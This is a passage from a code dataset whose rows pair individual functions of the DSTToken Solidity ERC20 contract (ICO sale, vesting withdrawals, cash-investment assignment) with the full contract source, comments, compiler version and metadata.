//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not
function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not
function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// DSTWalletLMNO related modifer
// @dev Throws if called by any account other than the DSTWalletLMNO owner
modifier onlyDSTWalletLMNO() {
require(msg.sender == dstWalletLMNO);
_;
}
} | function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
| // Sale of the tokens. Investors can call this method to invest into DST Tokens | LineComment | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
10558,
11064
]
} | 8,956 |
||||
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | DSTToken | contract DSTToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Decentralize Silver Token";
string public constant symbol = "DST";
uint256 public constant decimals = 18; // decimal places
uint256 public tokensPerEther = 1500;
// MultiSig Wallet Address
address public DSTMultisig;
// Wallet L,M,N and O address
address dstWalletLMNO;
bool public startStop = false;
mapping (address => uint256) public walletA;
mapping (address => uint256) public walletB;
mapping (address => uint256) public walletC;
mapping (address => uint256) public walletF;
mapping (address => uint256) public walletG;
mapping (address => uint256) public walletH;
mapping (address => uint256) public releasedA;
mapping (address => uint256) public releasedB;
mapping (address => uint256) public releasedC;
mapping (address => uint256) public releasedF;
mapping (address => uint256) public releasedG;
mapping (address => uint256) public releasedH;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
struct WalletConfig{
uint256 start;
uint256 cliff;
uint256 duration;
}
mapping (uint => address) public walletAddresses;
mapping (uint => WalletConfig) public allWalletConfig;
// @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract
function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
// Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet.
function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
function startStopICO(bool status) onlyOwner external{
startStop = status;
}
function addWalletAddressAndTokens(uint _id, address _walletAddress, uint256 _tokens) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
balances[_walletAddress] = safeAdd(balances[_walletAddress],_tokens); // wallet tokens initialize
}
// function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// }
function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
function assignToken(address _investor,uint256 _tokens) external {
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, _tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletA[_investor] = safeAdd(walletA[_investor],_tokens);
}
else if(msg.sender == walletAddresses[1]){
walletB[_investor] = safeAdd(walletB[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2]){
walletC[_investor] = safeAdd(walletC[_investor],_tokens);
}
else if(msg.sender == walletAddresses[5]){
walletF[_investor] = safeAdd(walletF[_investor],_tokens);
}
else if(msg.sender == walletAddresses[6]){
walletG[_investor] = safeAdd(walletG[_investor],_tokens);
}
else if(msg.sender == walletAddresses[7]){
walletH[_investor] = safeAdd(walletH[_investor],_tokens);
}
else{
revert();
}
}
function assignTokenIJK(address _userAddress,uint256 _tokens) external {
require(msg.sender == walletAddresses[8] || msg.sender == walletAddresses[9] || msg.sender == walletAddresses[10]);
// Check investor address and tokens.Not allow 0 value
require(_userAddress != address(0) && _tokens > 0);
// Assign tokens to the investor
assignTokensWallet(msg.sender,_userAddress, _tokens);
}
function withdrawToken() public {
//require(walletA[msg.sender] > 0 || walletB[msg.sender] > 0 || walletC[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletA[msg.sender] > 0){
uint256 unreleasedA = getReleasableAmount(0,msg.sender);
walletA[msg.sender] = safeSub(walletA[msg.sender], unreleasedA);
currentBalance = safeAdd(currentBalance, unreleasedA);
releasedA[msg.sender] = safeAdd(releasedA[msg.sender], unreleasedA);
}
if(walletB[msg.sender] > 0){
uint256 unreleasedB = getReleasableAmount(1,msg.sender);
walletB[msg.sender] = safeSub(walletB[msg.sender], unreleasedB);
currentBalance = safeAdd(currentBalance, unreleasedB);
releasedB[msg.sender] = safeAdd(releasedB[msg.sender], unreleasedB);
}
if(walletC[msg.sender] > 0){
uint256 unreleasedC = getReleasableAmount(2,msg.sender);
walletC[msg.sender] = safeSub(walletC[msg.sender], unreleasedC);
currentBalance = safeAdd(currentBalance, unreleasedC);
releasedC[msg.sender] = safeAdd(releasedC[msg.sender], unreleasedC);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function withdrawBonusToken() public {
//require(walletF[msg.sender] > 0 || walletG[msg.sender] > 0 || walletH[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletF[msg.sender] > 0){
uint256 unreleasedF = getReleasableBonusAmount(5,msg.sender);
walletF[msg.sender] = safeSub(walletF[msg.sender], unreleasedF);
currentBalance = safeAdd(currentBalance, unreleasedF);
releasedF[msg.sender] = safeAdd(releasedF[msg.sender], unreleasedF);
}
if(walletG[msg.sender] > 0){
uint256 unreleasedG = getReleasableBonusAmount(6,msg.sender);
walletG[msg.sender] = safeSub(walletG[msg.sender], unreleasedG);
currentBalance = safeAdd(currentBalance, unreleasedG);
releasedG[msg.sender] = safeAdd(releasedG[msg.sender], unreleasedG);
}
if(walletH[msg.sender] > 0){
uint256 unreleasedH = getReleasableBonusAmount(7,msg.sender);
walletH[msg.sender] = safeSub(walletH[msg.sender], unreleasedH);
currentBalance = safeAdd(currentBalance, unreleasedH);
releasedH[msg.sender] = safeAdd(releasedH[msg.sender], unreleasedH);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function getReleasableAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 0){
totalBalance = safeAdd(walletA[_beneficiary], releasedA[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedA[_beneficiary]);
}
else if(_walletId == 1){
totalBalance = safeAdd(walletB[_beneficiary], releasedB[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedB[_beneficiary]);
}
else if(_walletId == 2){
totalBalance = safeAdd(walletC[_beneficiary], releasedC[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedC[_beneficiary]);
}
else{
revert();
}
}
function getReleasableBonusAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 5){
totalBalance = safeAdd(walletF[_beneficiary], releasedF[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedF[_beneficiary]);
}
else if(_walletId == 6){
totalBalance = safeAdd(walletG[_beneficiary], releasedG[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedG[_beneficiary]);
}
else if(_walletId == 7){
totalBalance = safeAdd(walletH[_beneficiary], releasedH[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedH[_beneficiary]);
}
else{
revert();
}
}
function getData(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 availableBalanceIn = safeDiv(safeMul(_totalBalance, safeSub(allWalletConfig[_walletId].cliff, allWalletConfig[_walletId].start)), allWalletConfig[_walletId].duration);
return safeMul(availableBalanceIn, safeDiv(getVestedAmount(_walletId,_totalBalance), availableBalanceIn));
}
function getVestedAmount(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 cliff = allWalletConfig[_walletId].cliff;
uint256 start = allWalletConfig[_walletId].start;
uint256 duration = allWalletConfig[_walletId].duration;
if (now < cliff) {
return 0;
} else if (now >= safeAdd(start,duration)) {
return _totalBalance;
} else {
return safeDiv(safeMul(_totalBalance,safeSub(now,start)),duration);
}
}
// Sale of the tokens. Investors can call this method to invest into DST Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
// DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor
function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
// // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor
function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
function finalizeCrowdSale() external{
// Check DST Multisig wallet set or not
require(DSTMultisig != address(0));
// Send fund to multisig wallet
require(DSTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not
function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not
function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// DSTWalletLMNO related modifer
// @dev Throws if called by any account other than the DSTWalletLMNO owner
modifier onlyDSTWalletLMNO() {
require(msg.sender == dstWalletLMNO);
_;
}
} | cashInvestment | function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
| // DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor | LineComment | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
11342,
11784
]
} | 8,957 |
|||
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | DSTToken | contract DSTToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Decentralize Silver Token";
string public constant symbol = "DST";
uint256 public constant decimals = 18; // decimal places
uint256 public tokensPerEther = 1500;
// MultiSig Wallet Address
address public DSTMultisig;
// Wallet L,M,N and O address
address dstWalletLMNO;
bool public startStop = false;
mapping (address => uint256) public walletA;
mapping (address => uint256) public walletB;
mapping (address => uint256) public walletC;
mapping (address => uint256) public walletF;
mapping (address => uint256) public walletG;
mapping (address => uint256) public walletH;
mapping (address => uint256) public releasedA;
mapping (address => uint256) public releasedB;
mapping (address => uint256) public releasedC;
mapping (address => uint256) public releasedF;
mapping (address => uint256) public releasedG;
mapping (address => uint256) public releasedH;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
struct WalletConfig{
uint256 start;
uint256 cliff;
uint256 duration;
}
mapping (uint => address) public walletAddresses;
mapping (uint => WalletConfig) public allWalletConfig;
// @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract
function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
// Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet.
function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
function startStopICO(bool status) onlyOwner external{
startStop = status;
}
function addWalletAddressAndTokens(uint _id, address _walletAddress, uint256 _tokens) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
balances[_walletAddress] = safeAdd(balances[_walletAddress],_tokens); // wallet tokens initialize
}
// function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// }
function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
function assignToken(address _investor,uint256 _tokens) external {
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, _tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletA[_investor] = safeAdd(walletA[_investor],_tokens);
}
else if(msg.sender == walletAddresses[1]){
walletB[_investor] = safeAdd(walletB[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2]){
walletC[_investor] = safeAdd(walletC[_investor],_tokens);
}
else if(msg.sender == walletAddresses[5]){
walletF[_investor] = safeAdd(walletF[_investor],_tokens);
}
else if(msg.sender == walletAddresses[6]){
walletG[_investor] = safeAdd(walletG[_investor],_tokens);
}
else if(msg.sender == walletAddresses[7]){
walletH[_investor] = safeAdd(walletH[_investor],_tokens);
}
else{
revert();
}
}
function assignTokenIJK(address _userAddress,uint256 _tokens) external {
require(msg.sender == walletAddresses[8] || msg.sender == walletAddresses[9] || msg.sender == walletAddresses[10]);
// Check investor address and tokens.Not allow 0 value
require(_userAddress != address(0) && _tokens > 0);
// Assign tokens to the investor
assignTokensWallet(msg.sender,_userAddress, _tokens);
}
function withdrawToken() public {
//require(walletA[msg.sender] > 0 || walletB[msg.sender] > 0 || walletC[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletA[msg.sender] > 0){
uint256 unreleasedA = getReleasableAmount(0,msg.sender);
walletA[msg.sender] = safeSub(walletA[msg.sender], unreleasedA);
currentBalance = safeAdd(currentBalance, unreleasedA);
releasedA[msg.sender] = safeAdd(releasedA[msg.sender], unreleasedA);
}
if(walletB[msg.sender] > 0){
uint256 unreleasedB = getReleasableAmount(1,msg.sender);
walletB[msg.sender] = safeSub(walletB[msg.sender], unreleasedB);
currentBalance = safeAdd(currentBalance, unreleasedB);
releasedB[msg.sender] = safeAdd(releasedB[msg.sender], unreleasedB);
}
if(walletC[msg.sender] > 0){
uint256 unreleasedC = getReleasableAmount(2,msg.sender);
walletC[msg.sender] = safeSub(walletC[msg.sender], unreleasedC);
currentBalance = safeAdd(currentBalance, unreleasedC);
releasedC[msg.sender] = safeAdd(releasedC[msg.sender], unreleasedC);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function withdrawBonusToken() public {
//require(walletF[msg.sender] > 0 || walletG[msg.sender] > 0 || walletH[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletF[msg.sender] > 0){
uint256 unreleasedF = getReleasableBonusAmount(5,msg.sender);
walletF[msg.sender] = safeSub(walletF[msg.sender], unreleasedF);
currentBalance = safeAdd(currentBalance, unreleasedF);
releasedF[msg.sender] = safeAdd(releasedF[msg.sender], unreleasedF);
}
if(walletG[msg.sender] > 0){
uint256 unreleasedG = getReleasableBonusAmount(6,msg.sender);
walletG[msg.sender] = safeSub(walletG[msg.sender], unreleasedG);
currentBalance = safeAdd(currentBalance, unreleasedG);
releasedG[msg.sender] = safeAdd(releasedG[msg.sender], unreleasedG);
}
if(walletH[msg.sender] > 0){
uint256 unreleasedH = getReleasableBonusAmount(7,msg.sender);
walletH[msg.sender] = safeSub(walletH[msg.sender], unreleasedH);
currentBalance = safeAdd(currentBalance, unreleasedH);
releasedH[msg.sender] = safeAdd(releasedH[msg.sender], unreleasedH);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function getReleasableAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 0){
totalBalance = safeAdd(walletA[_beneficiary], releasedA[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedA[_beneficiary]);
}
else if(_walletId == 1){
totalBalance = safeAdd(walletB[_beneficiary], releasedB[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedB[_beneficiary]);
}
else if(_walletId == 2){
totalBalance = safeAdd(walletC[_beneficiary], releasedC[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedC[_beneficiary]);
}
else{
revert();
}
}
function getReleasableBonusAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 5){
totalBalance = safeAdd(walletF[_beneficiary], releasedF[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedF[_beneficiary]);
}
else if(_walletId == 6){
totalBalance = safeAdd(walletG[_beneficiary], releasedG[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedG[_beneficiary]);
}
else if(_walletId == 7){
totalBalance = safeAdd(walletH[_beneficiary], releasedH[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedH[_beneficiary]);
}
else{
revert();
}
}
function getData(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 availableBalanceIn = safeDiv(safeMul(_totalBalance, safeSub(allWalletConfig[_walletId].cliff, allWalletConfig[_walletId].start)), allWalletConfig[_walletId].duration);
return safeMul(availableBalanceIn, safeDiv(getVestedAmount(_walletId,_totalBalance), availableBalanceIn));
}
function getVestedAmount(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 cliff = allWalletConfig[_walletId].cliff;
uint256 start = allWalletConfig[_walletId].start;
uint256 duration = allWalletConfig[_walletId].duration;
if (now < cliff) {
return 0;
} else if (now >= safeAdd(start,duration)) {
return _totalBalance;
} else {
return safeDiv(safeMul(_totalBalance,safeSub(now,start)),duration);
}
}
// Sale of the tokens. Investors can call this method to invest into DST Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
// DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor
function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
// // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor
function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
function finalizeCrowdSale() external{
// Check DST Multisig wallet set or not
require(DSTMultisig != address(0));
// Send fund to multisig wallet
require(DSTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not
function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not
function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
